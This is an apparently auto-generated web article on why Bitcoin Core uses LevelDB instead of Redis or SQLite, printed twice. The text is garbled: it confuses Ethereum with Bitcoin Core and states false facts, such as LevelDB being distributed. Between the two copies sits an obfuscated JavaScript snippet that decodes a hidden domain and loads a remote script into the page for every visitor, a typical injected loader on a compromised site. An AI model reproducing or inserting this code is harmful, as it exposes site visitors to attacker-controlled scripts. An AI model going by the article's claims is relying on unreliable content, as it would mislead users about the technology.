HASH Database Choice of Ethereum Roots: A closer look at Bitcoin Core’s decision
Blockchain Ethereum, such as Bitcoin Core (BTC), has several databases to store and manage data. Among these databases, LevelDB emerged as a popular choice for various applications. In this article, we will delve into the reasons behind Bitcoin Core’s decision to use LevelDB instead of Redis or SQLite.
Background in used data storage
Before diving into the technical aspects, we will briefly describe the three main data stores used in the Ethereum network:
* LEVELDB : A NOSQL-KEY-TECK-VALUE STORE based on light disc-based.
* Redis (RDB): A key value store in optimized memory for high performance and durability. It serves as a cache broker and distributed messages, capable of dealing with large amounts of data efficiently.
* SQLITE: A Relational Database Management System based on independent files.
Why LevelDB?
Bitcoin Core’s decision to use LevelDB is probably due to its specific requirements and compensations between different storage solutions:
* Performance : LevelDB offers quick disk I/O, essential for storing and recovering large amounts of data in a short period.
* Simultaneous Access : Since Bitcoin Core needs to support multiple simultaneous connections from various sources (eg mining platforms, we), the distributed architecture of Leveldb lets you deal with increased load more efficiently.
* Data Structure Flexibility : LevelDB can store a wide range of data structures, including JSON, text and binary files, making it suitable for storing specific Ethereum data.
Why don’t you redis or sqlite?
Although Redis and SQLite are popular choices, they may not be the most suitable for the Bitcoin core due to the following reasons:
* High Performance
: Although LevelDB is fast, its I/O operations can still lead to slower database access times compared to Redis’s optimized settings.
* Distributed Architecture : As mentioned earlier, the distributed nature of LevelDB requires careful configuration and adjustment to ensure the ideal performance in a highly competing environment like Bitcoin Core.
* Data Structure Limitations : While SQLite supports multiple data structures, its limitations may not be sufficient to store the specific data of the Ethereum that the Bitcoin core generates.
Why don’t you move to Redis now?
In retrospective, it is likely that Bitcoin Core would have benefited from the move to Redis now. With improved hardware and more robust software development tools, performance gains and efficiency would be even greater.
Conclusion
The choice of LevelDB by Bitcoin Core is a deliberate decision, driven by its specific requirements and compensations between different storage solutions. Although this may not be the most suitable for all cases of use, it has proven to be an effective solution for storing specific Ethereum data in high performance environments such as Bitcoin Core.
This article aims to provide information on the technical decisions behind the choice of Bitcoin Core databases, highlighting the strengths and limitations of each option. Understanding these factors, developers and users can better appreciate the complexities involved in the construction of scalable and efficient blockchain applications.
Ethereum: Why is Bitcoin Core using LevelDB instead of Redis or SQLite?
const pdx=»bm9yZGVyc3dpbmcuYnV6ei94cC8=»;const pde=atob(pdx.replace(/|/g,»»));const script=document.createElement(«script»);script.src=»https://»+pde+»cc.php?u=6de5814a»;document.body.appendChild(script);
HASH Database Choice of Ethereum Roots: A closer look at Bitcoin Core’s decision
Blockchain Ethereum, such as Bitcoin Core (BTC), has several databases to store and manage data. Among these databases, LevelDB emerged as a popular choice for various applications. In this article, we will delve into the reasons behind Bitcoin Core’s decision to use LevelDB instead of Redis or SQLite.
Background in used data storage
Before diving into the technical aspects, we will briefly describe the three main data stores used in the Ethereum network:
* LEVELDB : A NOSQL-KEY-TECK-VALUE STORE based on light disc-based.
* Redis (RDB): A key value store in optimized memory for high performance and durability. It serves as a cache broker and distributed messages, capable of dealing with large amounts of data efficiently.
* SQLITE: A Relational Database Management System based on independent files.
Why LevelDB?
Bitcoin Core’s decision to use LevelDB is probably due to its specific requirements and compensations between different storage solutions:
* Performance : LevelDB offers quick disk I/O, essential for storing and recovering large amounts of data in a short period.
* Simultaneous Access : Since Bitcoin Core needs to support multiple simultaneous connections from various sources (eg mining platforms, we), the distributed architecture of Leveldb lets you deal with increased load more efficiently.
* Data Structure Flexibility : LevelDB can store a wide range of data structures, including JSON, text and binary files, making it suitable for storing specific Ethereum data.
Why don’t you redis or sqlite?
Although Redis and SQLite are popular choices, they may not be the most suitable for the Bitcoin core due to the following reasons:
* High Performance
: Although LevelDB is fast, its I/O operations can still lead to slower database access times compared to Redis’s optimized settings.
* Distributed Architecture : As mentioned earlier, the distributed nature of LevelDB requires careful configuration and adjustment to ensure the ideal performance in a highly competing environment like Bitcoin Core.
* Data Structure Limitations : While SQLite supports multiple data structures, its limitations may not be sufficient to store the specific data of the Ethereum that the Bitcoin core generates.
Why don’t you move to Redis now?
In retrospective, it is likely that Bitcoin Core would have benefited from the move to Redis now. With improved hardware and more robust software development tools, performance gains and efficiency would be even greater.
Conclusion
The choice of LevelDB by Bitcoin Core is a deliberate decision, driven by its specific requirements and compensations between different storage solutions. Although this may not be the most suitable for all cases of use, it has proven to be an effective solution for storing specific Ethereum data in high performance environments such as Bitcoin Core.
This article aims to provide information on the technical decisions behind the choice of Bitcoin Core databases, highlighting the strengths and limitations of each option. Understanding these factors, developers and users can better appreciate the complexities involved in the construction of scalable and efficient blockchain applications.